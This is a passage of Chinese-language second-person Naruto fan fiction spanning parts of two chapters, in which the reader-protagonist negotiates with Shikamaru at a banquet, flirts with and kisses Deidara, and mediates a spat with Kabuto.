奈良鹿丸看着你微笑的侧影,没有看太久,因为盯着你的脸看太久的话会让他产生晕眩感,你真的喜欢和他聊天吗?那以前还真的没看出来啊,你甚至都不记得他的名字,只知道他的姓氏。 算了,你现在这么说估计也只是说点客套话而已,他又为什么要因为你的一句客套话而纠结不已呢? 如果放在以前奈良鹿丸还能对你敬而远之的话,那么现在任务在身,他这是退无可退,他说:“如果是要聊重要的事情,这里或许不是个合适的场合。” 你点了点头,你真是和他想到一块去了,你说:“我也是这么想的,那么就请吧——”说着,你对他做了个请的手势,领着他来到宴会厅旁边的休息室。 跟在你后头的奈良鹿丸在穿过人群的时候听见其他人窃窃私语的声响。 “那个是……木叶的忍者吗?明希大人怎么突然把他给叫走了?” “谁知道呢?我听说那些忍者的手段多得很,估计是用了什么手段想要上位吧?” “啊……我就说嘛,但明希大人可不会被这种人蛊惑的呀。” 真是……越来越离谱了,奈良鹿丸凭借着忍者良好的听力将那些人交头接耳的内容听得一清二楚,他只是想要和你谈正事而已,结果就被其他人误会了,他当初就是为了避免被其他人误会才离你远远的啊。 “看你的表情好像很苦恼的样子?”你站在休息室的门口,回过头,发现奈良鹿丸神情一言难尽,也是,他这么聪明的人不会猜不到那些人看到你把他带走这一幕会想什么,你说:“鹿丸,你会很在意别人的看法吗?” “……不会。”刚才还叫他鹿丸先生的,现在就变成鹿丸了,你的称呼变得这么快的吗? “那不就好了,把那些人当成头脑空空的人就好了。”说着,你点了点自己的太阳穴,“他们这里装着的不过是钱财还有别的东西,你和他们不一样。” 明明你之前还在端着酒杯和其他人相谈甚欢的,结果一转头就能笑盈盈地说他们头脑空空,他不由得开始好奇在这次接触之后你又会在背后怎么说他呢? 算了,他不该去想这种东西的。 走到休息室里,你将落地窗旁的窗帘掀起一个角,月光倾泻,回过头一看,发现鹿丸还站在原地,你就说:“还站着做什么,坐下吧。” 在得到你的指令以后才坐下,甚至于坐下后的姿态也是局促不安的,但他还没有忘记自己来这里的目的,试探你……搞清楚你对木叶的态度。 “你是不是喝不惯宴会上的饮品?你应该没喝酒吧,我记得你好像还没到喝酒的年纪。”你说这话的时候背对着他,站在实木柜子旁边,打开一瓶气泡水,他捕捉到气泡滋啦滋啦的声响,然后你转过身走到他面前递来一杯气泡水。 “谢谢。”他低声说道。 你在他对面坐下,“所以说……最近木叶怎么样了?你不妨和我说说吧,反正你来这里的目的无非就是那么几个,也不用说些弯弯绕绕的话了,看你那么紧张,干脆让我来主动提起这个话题好了。” 非常贴心的话语,好像真的在为他考虑,但与此同时也完全占据了主动权。 不妙,很不妙。 如果将和你的相处比作棋局的话,那么他已经落入下风许久。 在你明亮眼瞳的注视下,他的喉咙有些发涩,聪明的头脑告诉他你对待任何人都是这样一个态度,但被你注视的时候总会给对方一种自己是独一无二的错觉。 这种错觉真是要人命。 他的嘴唇动了动,最后还是老老实实地说起木叶的近况,很公事公办的口吻,就是眼神和表情没那么云淡风轻。 “实不相瞒,我打算日后再在木叶建几个工厂,这样能够带动当地的经济发展,除此之外还会加强其他基础设施的建设,我对木叶没有恶意,因为不管怎么说这也是我生活了很久的地方,所以你现在可以稍微放心了一点了吗?” 话音落下,你又喝了一口气泡水,你还在凝望着他,鹿丸说:“我明白了。” 他的表情欲言又止,你就问:“你还有别的什么问题吗?” 是无关紧要的问题,和正事毫不相干的问题,他犹豫了几秒,然后才说:“鸣人那家伙总是说着以后要再和你见面,还有佐助也是——” “诶,你是他们的好朋友吗?”略带惊讶和疑惑地问道。 你真是……对自己不感兴趣的事情就毫不关心啊,鹿丸早该料到的,你就是这样的人,温柔而冷漠。 “是啊,你不知道吧?也对,你之前就连我的名字都不知道,只会用‘奈良家的孩子’称呼我,奈良家的孩子可不止我一个,你这样的指代词一点都不准确啊。” 一个不留神就把以前的事情说出来了,就好像在翻旧账,可关键是他以前和你的关系也不算多熟悉。 被他这么谴责的你肯定会觉得莫名其妙甚至是一头雾水的吧?那他现在的状态也差不多。 “我刚才说的——” “抱歉啊,我之前确实不记得你的名字,我向你道歉,没想到会给你留下那么深刻的印象,确实是我的过错。”你从善如流地向他道歉。 诶? 就这样道歉了吗? 轻飘飘的,没有任何犹豫地就向他道歉了,反而映衬得他的心结更加矫揉造作。 你不应该直接反驳的吗?用高高在上的态度,居高临下地俯视他,而不是现在这样。 一切都出乎他的意料,他说:“当我的话没说过吧。” “但我已经听到了,那就不能算是没说过,这样吧,你想要什么东西作为赔礼呢?” 现在的你倒是很像个商人,觉得金钱能够解决一切问题,他说:“我不需要你的礼物。” 啊,他们忍者还真是视金钱如粪土啊,你点点头,行吧,这样也能省点钱,但在下一秒鹿丸就又说:“我想知道,你当初真的要和宇智波鼬结婚了吗?” 怎么回事啊,你都离开村子那么久了,怎么谣言还在追着你跑啊?看来得要找个机会好好辟谣一下了,你说:“没有啊。” “那你和宇智波鼬……” “噢,只是睡过他几次的关系而已。” 那么坦坦荡荡地说出真相,对于鹿丸来说这话实在是太有冲击性了,他过了好久才找回自己的声音,所以不是恋人关系,只是单纯的身体关系吗? “我……”他知道这个消息以后真的还能全身而退吗? “这也不是什么大事吧?只是出于无聊,把他当成生活的调味剂而已。” 能够将宇智波形容成调味剂,这种话语大概只有你能够说出口了吧。 鹿丸为了掩饰自己紧张的情绪喝了一口水。 聪明人听到不该听的话反应就是装作什么都没听见的样子,否则肯定会给自己招惹来麻烦的,奈良鹿丸深谙这个道理,可是现在的情况是,他已经听到了你说的话,那就很糟糕了。 “别担心,我也不是那种动不动就灭口的人,而且我认为我们日后肯定能够成为很聊得来的朋友的。”你好像看穿了鹿丸内心的忧虑,非常贴心地宽慰道。 但是这份宽慰并没有起到作用,反而让鹿丸觉得自己在你面前一览无遗,似乎什么事情都瞒不过你。 鹿丸说:“我也没有那么想。” “那就好,对了,其实还有其他的事情我想和你聊聊。”你说着,调整自己的坐姿,从你前后坐姿的变化来看,就可以看出你现在的态度更加严肃,也就意味着你接下来要说的事情更加重要,甚至重要性远超前面所谈论的话题。 于是鹿丸也不由自主地 严肃起来,他说:“那你请说。” “也没必要那么严肃啦,目前还只是个想法而已,你听一听就好。”说着,你对他露出一个笑容像是在安抚他,鹿丸仍旧是严阵以待,你说:“说实话,我觉得现在忍者接任务完成任务的模式实在是太低效了,而且还会因为任务分配不合理而导致不必要的伤亡,。 以呢,我认为可以建立一个平台,将委托人的任务都放到平台上,这样也能提高任务成功率,而且还可以建立忍者好评制度,结合忍者的任务完成情况进行评级,这一点和下忍中忍和上忍不太一样,因为前者的评价标准是自身的实力,而后者则是着眼于忍者本身能够带来的经济效益。” 后来你又陆陆续续说了些别的,尽管你从一开始就说自己这还只是个想法而已,但鹿丸却觉得你这个想法已经非常完善,甚至到了可以直接推行的地步。 等你说完,鹿丸沉默了一会,他拿在手里的气泡水都没什么气泡了,他说:“你和我说这些……真的没问题吗?而且,你应该知道的,忍者相当于一个国家的军事力量。”按照你的意思就是将国家的军事力量都放在明面上,那些国家怎么可能会同意啊。 鹿丸想说这实在是太理想化了,但是转念一想,如果是你的话,如果推行这个想法的人是你的话,没准还真的能够实现。 毕竟你做什么事情都是运筹帷幄胸有成竹的。 鹿丸的嘴唇动了动,他说:“你这么说,肯定也已经想好了我在这个计划中发挥的作用吧?” “是的。” 不用和他解释就是省时省力呀,你高兴地问他要吃点什么吗? “不……我现在还不饿。”应该说是因为紧张而毫无胃口,头脑接收到太多信息,以至于他都感受不到自己的饥饿。 “噢。”你应了一声,既然他都这么说了,你就又把话题给扯回来,你说:“确实,我已经想好了鹿丸可以成为我和木叶之间的沟通桥梁哦。” 诶?他吗? 为什么会是他呢?鹿丸从来不觉得自己是个幸运的人,他对自己的运气有着清晰的认知,不仅仅是运气,他对自己的人生也是,可是他的人生,他的命运在遇到你的那一刻开始就朝着意想不到的方向狂奔,如同脱缰野马,怎么也拽不住。 “你为什么会选择我呢?如果是宇智波的话,他们肯定会毫不犹豫地答应的吧?”他提到了宇智波,但没有点明到底是宇智波鼬还是宇智波佐助,总之那些宇智波肯定会帮助你的。 你给出的回答还是那么直截了当,你说:“啊,因为如果是宇智波的话,他们太容易感情用事了。” 感情用事吗……? 确实,你说的有点道理,就连他的父亲也说过的,宇智波虽然强大,但受到感情影响也是他们的一大缺点。 “但剧烈的情绪波动对于宇智波来说也是力量的来源,总而言之,有利也有弊吧。”他的父亲最后这么总结道。 此刻你说的话和父亲说的产生了重叠。 看来你也对宇智波的本质有着清楚的认识,他说:“那我知道了。” 成为你和木叶之间沟通的桥梁的话,光凭你这句话应该就能证明你对木叶没有恶意,甚至是想要帮助木叶的吧? 说完这个话题你沉默了好一会,这份沉默只让鹿丸感到坐立难安,这个时候,他应该起身离开吗?难道说要一直坐在这里和你面面相觑吗?他和你之间除了正事好像没有什么可以聊的,你应该是有提前调查过他的,但调查和真正相处获得的了解是不一样的。 “我听说你很擅长下棋?”你说,没给鹿丸拒绝的机会,直接站起身让白取来棋盘,鹿丸仔细观察那个名叫白的少年,根据他的举手投足得出结论,那就是他也是个忍者,见到鹿丸多看了白几秒,你就说:“他是我的贴身助理,当然,也是个忍者,可不要因为他长相乖巧就觉得他很弱哦。” 不……他可没有那么想,身为忍者是最懂得不要以貌取人这个道理的。 在战斗中哪怕敌人看起来再怎么弱小也不能掉以轻心,更何况他还是你的贴身助理,能够成为你的贴身助理的人肯定也不会简单到哪里去的。 “他是其他村子的忍者吗?” “他不属于任何一个村子,他只属于我。” 话音落下,白再次推开休息室的门,他手里多出一副棋盘还有一叠餐点,你让白把餐点放在鹿丸手边,头也没抬一下,说:“不用紧张,先吃点东西吧。” 鹿丸安静地吃下白端来的餐点,味同嚼蜡,主要还是因为他的脑袋里在思考别的东西,都是非常严肃的事情,等他回到木叶以后他又该如何向火影大人汇报呢?自己和你走得这么近会不会被怀疑自己对木叶的忠诚度呢? 要考虑的事情实在是太多了,他都有些无法下咽那些食物,坐在对面的你蹙眉,说:“这东西真的有这么难吃吗?” 鹿丸立刻摆摆手,“不,没有的事,这是我自己的问题。”马上将问题揽到自己身上,他放下筷子,一抬眼就撞进你满是担忧的眼神里。 你在为他感到担心吗? 不,你们才见面没多久,你也只是因为他身上还有利用价值才那么关心的,鹿丸在心里一遍又一遍地提醒自己,但是,你的眼神极具迷惑性,他还是不由自主地被你欺骗,就好像你真的在关心他。 就好像你们的关系也确实很亲近。 你把棋盘给收了起来,鹿丸不解道:“为什么收起来了?” “因为你的状态看起来不是很好,我可不想和随时有可能晕倒的你下棋啊。” 这话说得太直白了,鹿丸说:“抱歉,让你扫兴了。” “没关系。”你站起身,从鹿丸身边走过,“我相信你日后肯定不会让我失望的。” 见你要走,鹿丸也站起身送你离开,直到你的身影完全消失,鹿丸这才松了一口气,他抬起手擦拭自己的额头,发现上面已经冒出一层汗水。 原来刚才的他这么紧张吗?难怪你会担心他随时晕倒啊…… 怎么说呢,他已经尽力了,和你博弈确实需要良好的心态,否则一个不小心就会掉到你的陷阱里,很有可能他现在就已经落入陷阱里了。 你端着酒杯回到宴会中心,还得要应付其他宾客,和他们说些毫无意义的客套话,然后再一起庆祝未来的基金会越来越好。 你将空了的酒杯放在一边,从你身边路过的金发服务员朝你递来另外一杯果汁,你刚想说自己不想喝果汁,但是再定睛一看,那金发服务员还有着一双青蓝色的眼瞳,嗯,怎么看怎么眼熟。 见你没有马上叫出他的名字,迪达拉有些气恼地说:“喂——我们不就是有两天没见面吗?你该不会把我给忘了吧?” 要是你真的把他给忘了的话,那他可是会很生气的啊,他指的是暴跳如雷的那种生气。 你拿起那杯果汁,用冰凉的杯壁贴着他的脸颊,“你怎么来当服务员了?你很喜欢服务别人吗?” 迪达拉只是心血来潮而已,那些影视剧里不都会有那种主角给恋人制造惊喜的情节吗?其中乔装打扮成恋人身边的服务员也是很经典的桥段啊,但你的反应为什么和影视剧里的截然不同呢? 一点都 不惊讶,甚至还在朝他露出玩味的笑容。 到底是哪一个步骤出现错误了啊? 迪达拉说:“你都不惊讶的吗?我,嗯,我可是突然变成了服务员然后出现在你身边,按理来说你应该被吓一跳才对吧?” “啊……我应该感到惊讶吗?”你故作惊讶,“嗯,我确实被惊讶到了哦。” 切,敷衍,一看就知道那是在应付他,迪达拉单手叉腰,正在这时身着锦衣华服的宾客走到迪达拉身边,低声说:“你是服务员?正好,我需要别人的服务,不用担心,我不会亏待你的。” 迪达拉又不是傻子,只是他一下子没反应过来,愣是顿了两秒,过惯了刀光剑影的叛忍日子,那些人见到自己哪一个不是心惊胆战,只是没料到自己有朝一日还会变成他人的猎物。 而且还是这么下作的人! 眼看迪达拉被气得就要动手,你笑盈盈地将手搭在那个宾客身上,说:“不好意思啊,他是来服务我的。” “这样啊,那真是失敬了,实在是抱歉呀!”那个宾客急急忙忙地道歉,哪里还有刚才那副游刃有余的姿态,离开的时候脚步匆匆,就像是落荒而逃。 迪达拉还在生气,你说:“这个时候你不应该感谢我吗?” 什么?感谢你?迪达拉睁大眼睛,他说:“刚才那家伙我自己也可以解决的。”才不用你来帮忙呢。 “但我只需要一句话就能打发走,而你还得要在这里搞出一场爆.炸,但凡你比较一下就会知道哪个方法更好。” 迪达拉还在嘴硬,“当然是我的方法。” “行吧……”你抿了一口果汁,又对迪达拉说:“你知道这次来参加宴会的还有很多别的村子的忍者吗?” “你觉得我会担心这些吗?我又不是胆小鬼,嗯!”迪达拉对自己的实力很自信,就算是被其他忍者包围他也有信心可以逃出生天。 他说:“你可别小瞧我啊,嗯!” 也没有小瞧的意思,你凉飕飕地说:“在其他人往你的衣领里塞小费前你劝你还是跟我一块离开。” 什么赛小费?迪达拉虽说是叛忍,但在这方面的经验少得可怜,你懒得和他一样一样地解释过去,拉着他的手朝自己的客房走去。 而就在这时从休息室里调整好状态出来的鹿丸恰好看见了你拉着迪达拉离开的背影。 你拉着一个服务生模样的人离开了宴会厅? 那你接下来又会做些什么呢?鹿丸头一次有些厌烦自己的聪明头脑,因为他很快就想到了答案,一个有点糟糕的答案。 你将迪达拉带出宴会厅,他还在纠结你刚才说的话,他说:“什么叫做会有人往我的衣领里塞小费啊?” “就是字面意思,可能是觉得你能够好好服侍他们吧。” 迪达拉的脸颊都涨红了,不是单纯的害羞,是恼羞成怒,他说:“那我就把那些家伙都给解决了。” “那可不行,有些人还得给我的基金会投资呢,你不能杀我的投资人。” 迪达拉气得咋咋呼呼地,他说;“所以说我被他们这么对待你就一点反应也没有吗!?” 不是,他说这话难道不会觉得奇怪吗?你都感觉到了奇怪,你说:“我会日后教训他们的。” “切,你所做的一切都是为了利益。” “那不然呢,因为理想和信念吗?”你奇怪地反问,“还有你本身说这话就很奇怪诶,我们只是合作关系呀。” “那我们的关系就不能更进一步吗!?”他脱口而出,忽然发现自己好像说了什么糟糕的话,又急急忙忙地想要收回,“我不是,我是说……”结果就是愈发显得自己欲盖弥彰,越描越黑。 没等你回答,长廊尽头忽然出现一道身影,原来是药师兜,他踩着光影向你走来,他的眼神轻描淡写地从迪达拉身上掠过,可仍然给迪达拉一种自己被人审视的感觉,他没好气地说:“是你,你不好好跟着你的大蛇丸大人跑到这里来做什么?” 大蛇丸曾经加入过晓组织,在里面呆了一段时间,然后就又退出了,晓组织和大蛇丸的关系不怎么样,因为当初大蛇丸加入晓组织就是为了利用这一股势力,所以现在迪达拉见到药师兜也没什么好脸色,毕竟那是跟着大蛇丸的家伙,还能是什么好东西呢? “这个嘛,自然是来找明希的呀,啊,难道明希没有和你说过吗?也是,你们聚少离多,而且她应该也懒得和你说太多,毕竟你还是太幼稚了。” 迪达拉冲着药师兜翻了个白眼,“说别人幼稚的时候还是先看看自己的脸吧,老男人。” 药师兜的笑容僵住,这好像不是他第一次受到他人的年龄攻击,上次被这么说……似乎是被君麻吕那么嘲讽的。 真是幼稚的小鬼,就喜欢在年龄上面大做文章吗? 脸色阴沉的药师兜完全忘了明明是自己先拿年龄说事的,这只能说是回旋镖扎到他自己身上了,这下子才算是知道痛了。 你站在一旁安静地看戏。 药师兜说:“我可不像你,还会给明希添麻烦。” 话是这么说的,但药师兜他显然也不是省油的灯。 所以他们这波就是半斤八两,谁也别笑话谁了,你站出来调停,你说:“外面有空地,你们可以去那里打架。” 没错,这就是你的调停方式,那就是一言不合就去打一架吧,要打架去外面打,眼不见心不烦。 结果就是刚才还气势汹汹,剑拔弩张的两人一下子就偃旗息鼓,就跟什么事情都没发生过似的。 迪达拉说:“我才不要和这种家伙打架,一点意思都没有。”而且他还是大蛇丸的手下,所以招数肯定很阴险狡诈,这种毫无意义的事情他才不会做呢。 “是吗?那兜你又是怎么想的?”你转头询问药师兜的想法,他说:“我也觉得其实没必要走到动手那一步。” 看吧,这才是最有效的调停方式,矛盾就这么解决了。 你点了点头,“很好,看来你们还是能够好好相处的。” 迪达拉没好气地瞪了药师兜一眼,怎么可能会好好相处啊。 迪达拉说:“难道我们就要一直站在这里吗?”就这样大眼瞪小眼?他可不想和药师兜这家伙待在一块呢。 你朝着药师兜递去一个眼神,让他先离开,后者会意,倒是很识相地就离开了,在他走后迪达拉又说:“你和大蛇丸又是什么关系?” “合作关系。” “和你合作的人可真不少啊。”迪达拉说这话的语气幽幽地,透露出几分他自己都没有意识到的不满。 “是啊,你也是和我合作的人啊,只不过你刚才不是说还要让我们之间的关系更进一步吗?” 还以为你已经把他说的这话给忘了,没成想你又提了起来,在场只有两个人,而两个人里只有一个人特别尴尬,首先排除你,那么尴尬的就只有迪达拉,他就连说话都支支吾吾地,说不出一句完整的话来。 他抿抿唇,眼神飘忽不定,他刚才就不该那么说的,现在就好像被你抓住了把柄,他说:“你一定要揪着我说错的话不放吗?” 算了,再追问下去感觉他都要炸毛了,你笑盈盈地说:“好吧,那我不提了。” 这次换做他主动牵着你的手,你走在前头,他安静了一会,又忍不住问道:“所以你是怎么想的?” 果然还是个小孩子,一点都沉不住气,你说:“你觉得呢?” “我又不是你,而且我也不会读心术,我怎么知道你心里在想什么呢?”但他总觉得你是故意玩弄他的心态的。 “这个我可以考虑一下,只不过,你现在还是晓组织的成员,或许未来的某一天我们会站在对立面上呢,真的等到那个时候你又会怎么做呢?”你抛出一个难以回答的问题。 “你不会放任事情演变到这一步的,在我们站到对立面之前你就会毫不犹豫地舍弃我。”迪达拉很冷静地回答道。 那他还是很有自知之明的嘛,你说:“还真是这样诶,居然全都被你给猜中了,迪达拉,你还挺聪明的嘛。” 你那说的都是什么话啊,就像是在夸奖宠物似的夸奖他聪明,他有些气不过,说:“那你就得要小心一点了,到时候我会狠狠报复你的!” “怎么报复我?你要杀了我吗?”你讨论起自己的生与死好像也没有太在意的样子,就跟置身事外的旁观者一样。 “那样未免也太便宜你了,嗯!”迪达拉说着,一脸严肃地盯着 你,你与他四目相对,他从你晶莹剔透的眼瞳里看到自己的倒影。 他忽然意识到一个可怕的念头,那就是嘴上说着要报复你的他,在与你对视的时候却想着亲吻你。 真可怕,他惊恐地倒退半步,嚷嚷着“你别再看着我了!” 你好奇地眨眨眼,迪达拉的脸颊又开始泛红,最后他又朝你靠近,拉进你们之间的距离,他说:“我说我要报复你,但是,我刚才心里想的都是亲吻你。” 耳边传来你的浅笑声,果然被你嘲笑了,他又羞又恼,恨自己不争气,但是在下一秒,你拉着他的手,将他往你的方向一带,他的嘴唇感受到一阵温热,你亲吻了一下他的嘴唇。 诶? 所有的声音,所有的想法都消失了,他的大脑一片空白,脑袋都是晕乎乎的。 等这个吻结束也还是一样。《 》 40-45 第41章 “需要我扶着你吗?”你带着善意地问道,毕竟迪达拉现在看起来就像是摇摇欲坠,下一秒就要倒地不起的样子,但迪达拉似乎误会了你的关心,并将其当成嘲讽,天地良心,你可没有要嘲讽他的意思,你要是真的想要嘲讽,力度可不会这么微弱。 “我才没有那么弱呢!嗯!”他急于申明自己可没有那么弱。 你撇撇嘴,拍拍他的脸颊,说:“你连关心和阴阳怪气都分不清吗?” 迪达拉这才意识你刚才好像真的是在关心他,但是那又能怎么办呢?他的话都已经说出口了,再收回已经来不及,他的视线飘忽,看天看地就是不看你,这让你感觉更加好笑了,你戳了一下他的额头,“你这么误会了我难道连一句道勤都没有吗?嗯?” 又来了,你在调侃他的时候就会故意模仿他的口癖,以至于他现在一听到你那模仿的口癖就知道你是在调侃他,他说:“对不起……”声音有点微弱,估计在此之前他都没有正儿八经地和别人道过歉吧? 于是你提醒他,“道歉的时候要看着对方的眼睛啊,否则就一点诚意都没有了啊。” 迪达拉蹙眉,他的眉毛很秀气,不只是眉毛,就连五官也是,精致秀气得很,你拨开他被遮挡着的左眼,与他四目相对,说起来他总是这样一边的头发遮挡着眼睛真的不会造成斜视或者是两只眼睛的度数不一样吗? 但一想到对方是忍者,而且还是叛忍,你一下子就意识到自己这是多虑了,忍者之中几乎很少见到近视眼,当然也有可能是和他们平常总是在野外修炼,所以近视的可能性也很低。 而且忍者的体质本来就不能和普通人相提并论。 你的手指搭着他的额角,你感受到了,他几乎屏住呼吸,大气都不敢出,真的有这么紧张吗?甚至紧张得都无法呼吸了吗?你用好奇的,像是在打量金渐层的心态观察迪达拉,他的皮肤很好,光洁细腻,真是奇了怪了,他整天在外面风吹日晒的为什么皮肤还能这么好呢? 难道这也是天赋异禀吗? 指腹触碰他脸颊的皮肤,柔软的,细腻的,像是在触碰人偶的脸庞。 但人偶绝对做不到那么复杂的眼神,你说:“现在——再和我说一声道歉。” 迪达拉的声音发紧,干巴巴的,他说:“对不起。” 话说出口他就后悔了,为什么啊,他为什么要这么听你的话啊? 你,你又有什么了不起的啊?迪达拉很很不服气地想,但是,你的手掌还托着他的脸颊,这让他动弹不得,肯定是你这个狡猾的人对他动了什么手脚,否则他怎么会毫无反抗之力呢? “好了,走吧,还是说你想回宴会厅?那里也没什么好玩的吧?都是一些无聊的人,你觉得呢?”你说。 他都无所谓,反正他来这里也只是顺便过来看看你而已,没错,就是顺便,没有别的原因,更不可能是因为喜欢你才过来的,迪达拉将自己的想法藏得很好,免得你猜出他的真实想法以后露出那种了然于心的表情。 虽然你对于很多事情都是了如指掌,一切尽在掌握中,但至少他的心情是你无法掌控的。 “我要和你一块走。”迪达拉说,然后握住你的手,掌心原本紧闭着的嘴不由自主地舐过你的掌心,湿漉漉的,你说:“这是你不能控制的吗?” “没有,我当然能控制啊!”迪达拉急急忙忙地解释道。 “算了,反正我待会还会去洗手的。” 迪达拉也不知道是因为害羞还是恼怒,总之,整个人看起来又红温了,他听见你又说:“吃过晚餐了吗?” “我不饿。” “那吃点宵夜吧,我有点饿了。” 一听你这么说,迪达拉就跟傲娇属性发作似的,说:“那我就勉为其难地陪你吃宵夜吧,嗯!” 你笑盈盈地说:“越是骄傲的人我就越是好奇他们失去控制的样子是如何的呢。” 迪达拉不明所以地眨眨眼,他对自己很自信,说:“我是绝对不会失去控制的,嗯!” 他当初被你一记麻醉针从天空中击落的时候可不是这样的啊,不过你还是很欣赏他那份自信的,不算是太狂妄,在你可接受范围内的自信,只会显得他更加可爱而已。 夜宵是馄饨,这次的馄饨里还加了紫菜和小虾米,汤底喝起来更加鲜美,切进去的芹菜碎为汤底增添一丝清新风味,你才吃到一半的时候迪达拉已经消灭了一整碗,你说:“果然你是饿了的对吧?再来点别的什么吗?” “嗯……”他想了下,和你比划着自己当初在土之国被你拘禁的时候吃的东西,你听他描述了好一会才搞明白,原来他想吃小烧饼,你点点头,麻烦白再去厨房一趟。 “你交给我的任务我全都已经完成了。”迪达拉说。 那真是可喜可贺呀,你就知道他们叛忍办事效率就是高,简直就是天生好用的工具人,你说:“是吗,那真是太好了。” “除此之外你就没有别的要说的吗?”迪达拉单手托腮,刚才为了方便吃馄饨他还用你的发夹把一边的刘海给夹了起来,那是个点缀着钻石的发夹,别说,戴在他头上还真挺好看的,你的目光都被他头上的发夹吸引,几秒过后你才说:“你想要什么呢?钱还是别的东西?” “我不要钱。” 哇,居然能这么硬气地说出这句话,你上辈子可从来没这么硬气过,不过也是,你遇到的忍者好像都对钱不是很感兴趣,怎么回事啊,他们难道不知道金钱能够解决绝大部分的问题吗?一个个地,你和他们谈论金钱他们还觉得俗气。 所以不是你让他们打白工的,这是他们自愿的啊。 你说:“是吗?那你想要什么?” “我想要……你——”他伸出手指点了点你的手背,“你的喜欢。” 噢噢,原来是恋爱脑啊,那就不奇怪了,你说:“可以啊,我现在就很喜欢迪达拉你啊。” 喜欢是能够那么轻易说出口的吗?迪达拉没有这方面的经验,毕竟在遇到你之前他从来都没想过自己还会喜欢谁,他说的是喜欢上一个确切的人而不是隐约朦胧的一种概念。 “你为什么……能够说得那么爽快啊?喜欢不应该是……”说着说着,他都不由自主地顿了一下,喜欢应该是怎样的呢?一时之间他的脑海里全是空白,他不知道这个问题该怎么回答,但是,喜欢肯定能够和艺术相媲美的东西吧? 毕竟喜欢是那么的难以捉摸,甚至无法用言语来形容,只能依靠自己的直觉去捕捉,但是你,你好像很了解,也很熟练,他忍不住问道:“你喜欢过很多人吗?都有谁啊?” “你这就管得有点太宽了吧?”你反问。 “我这是充分了解敌情。” 他认真的回答换来你的一串笑声,你说:“你这话说的就好像我一旦给出答案你就 要追杀他们似的,但恕我直言,现在的你实力可能打不过他们。” 说得太直接了,以至于迪达拉的脸色都变得好难看。 “但是总有一天我会变得很强大的。”强大到足以解决那些情敌,嗯! 白端着加餐来到桌边,他对迪达拉说:“是么,但你的内心看起来实在是不怎么强大啊。” 别看白平常性格温和,实际上只要他想可以一开口就气死对方,尤其是迪达拉这种急脾气,果然中圈套了,他说:“这里还轮不到你来对我评头论足。” “请对我的助理礼貌一些。”你不咸不淡地说,迪达拉转过头看你一眼,那眼神甚至还有点委屈。 嗯,不是,他又在委屈什么啊?你歪了歪脑袋,说:“你不是还饿着吗?趁热吃吧。” 迪达拉都没什么胃口了,但因为知道你不喜欢别人浪费粮食所以安静地,耐着性子地把这份小烧饼吃完了才走人。 也没有真的要走,只是站起身,说:“我今天晚上住在哪里?” 他还想留在这里啊?白在心里凉飕飕地评价道,只是看你的意思,就算是留宿也只是让他在其他客房留宿的吧。 根据他对你的了解,能够推测得八九不离十。 果不其然地,你在下一秒就说:“隔壁房间,希望你不要打扰到我。” 迪达拉“噢”了一声,他也没有在期待别的什么,住在隔壁客房也挺好的,他这么安慰自己的,然后又说:“对了,晓组织已经开始着手抓捕人柱力了。” 嗯……他这是在和你报备自己的行程吗?关键是你好像也没有问吧,他这是主动向你报备? 你略带不解地说:“所以呢?我应该有什么反应吗?” “那个木叶的人柱力,到时候也会成为晓组织的目标,我看你好像还挺在意木叶的,所以和你说一声而已。” 这已经算是泄密了吧?看来晓组织的成员保密意识不是很强,这样很容易发生机密泄露的事件啊。 看吧,现在不就发生了吗? 你说:“这种事情告诉我真的好吗?你怎么说也是在给晓组织做事吧?” 迪达拉却说:“我知道你不会告诉别人的,而且,根据你的情报网,想要收集到这种情报也是轻而易举的吧?我只是给你省略一些步骤而已。” 你确实有个情报网,但是完全没有迪达拉说得那么厉害,顶多就是收集一些商业情报,还没有上升到这种层面。 说完这话,迪达拉就走到门外,但他还是没有要离开的意思,他的脚步停留在门外,有些犹豫,最后深吸一口气,说:“我要去睡觉了。” 你说噢噢好的,迪达拉睁大眼睛,又和你重复一遍,说:“我真的要去睡觉了。” 那他就去睡觉呗,这是什么天大的事吗?于是你也重复一遍,说:“我知道了。” 一看自己无论怎么暗示你都毫无反应,迪达拉一气之下只能说出自己的真心话,他说:“在我睡觉之前你就不能给我一个晚安吻吗?” 什么啊,原来他一直在暗示你的这个啊?真是的,他为什么不能说得直接一点啊,还得要通过这么拐弯抹角的方式,你说:“下次你可以直接说的。” 迪达拉轻哼一声,说:“我以为你会明白的。”结果没想到他暗示了好几次你都没懂他的意思。 都要怀疑你是不是故意的了,他说:“所以你能给我一个吗?” 这有什么问题的,你走到他跟前,发现他又开始紧张起来了,垂在身侧的手抓住自己的衣角,你飞快地,如同蜻蜓点水般地亲了一下他的额头。 然后结果就是迪达拉晕乎乎地捂着自己的额头离开这里,你站在门口问他:“真的不需要我扶着你吗?” 迪达拉还在嘴硬,说:“一点也不需要,嗯!” 目送迪达拉关上门,你这才转过身,白正在收拾桌子上的餐具,“现在晓组织的人,大蛇丸的人,还有木叶的人都聚在这里,真的没问题吗?” 你走到白身边,“那你就有所不知了吧,一般来说如果是两方敌对势力凑在一块的话确实会打起来,但如果很多方的势力碰到一起的话,那就反而不用担心了。”因为不同势力之间反而会互相制衡,这就是制衡术的妙处所在。 而事实也正如你所说的,不同势力凝聚在一块,要考虑的事情就会变得很多。 当天晚上正在写任务总结的鹿丸和走到阳台透透气的老师阿斯玛打了个照面,阿斯玛说:“是不是感觉到压力很大?我刚才看见她把你带到旁边的休息室里,肯定和你说了什么很严肃的事情吧,否则你不会是这个表情的。” 啊……他表现得很明显吗?鹿丸放下笔,他说:“我还是不太明白,她究竟想要什么呢?” “人的内心是变幻莫测的,所以我的建议是你可以试探她的立场,但是没必要太了解她的内心世界。”阿斯玛隐约嗅到自己的学生好像开始钻牛角尖了,他出于善意,同时也是身为老师的责任感,让他尽可能让对方远离危险的泥潭。 “你这样下去只会越陷越深。” 鹿丸说:“但是知己知彼百战百胜。” 闻言,阿斯玛忍不住笑了一下,他真的是这么想的吗?他的学生在想什么他难道还不知道吗?他说:“是吗?你真的只是这么想的吗?” 被老师这么一问,鹿丸沉默许久,他的理智告诉自己不仅仅是这样,但是,“如果有一道谜题摆在你面前,你真的能够忍住不去解题吗?” 阿斯玛说:“在此之前我会考虑许多因素。” “那些因素我都已经考虑过了。”鹿丸说,但在阿斯玛看来这话实在是没什么可信度,他说:“好吧,但是切记不要忘记你自己身上的任务。” 他当然没有忘记自己身上的任务,只是当他处理完今天的事务,当他平躺在床上的时候一闭上眼睛脑海里就浮现出你的身影。 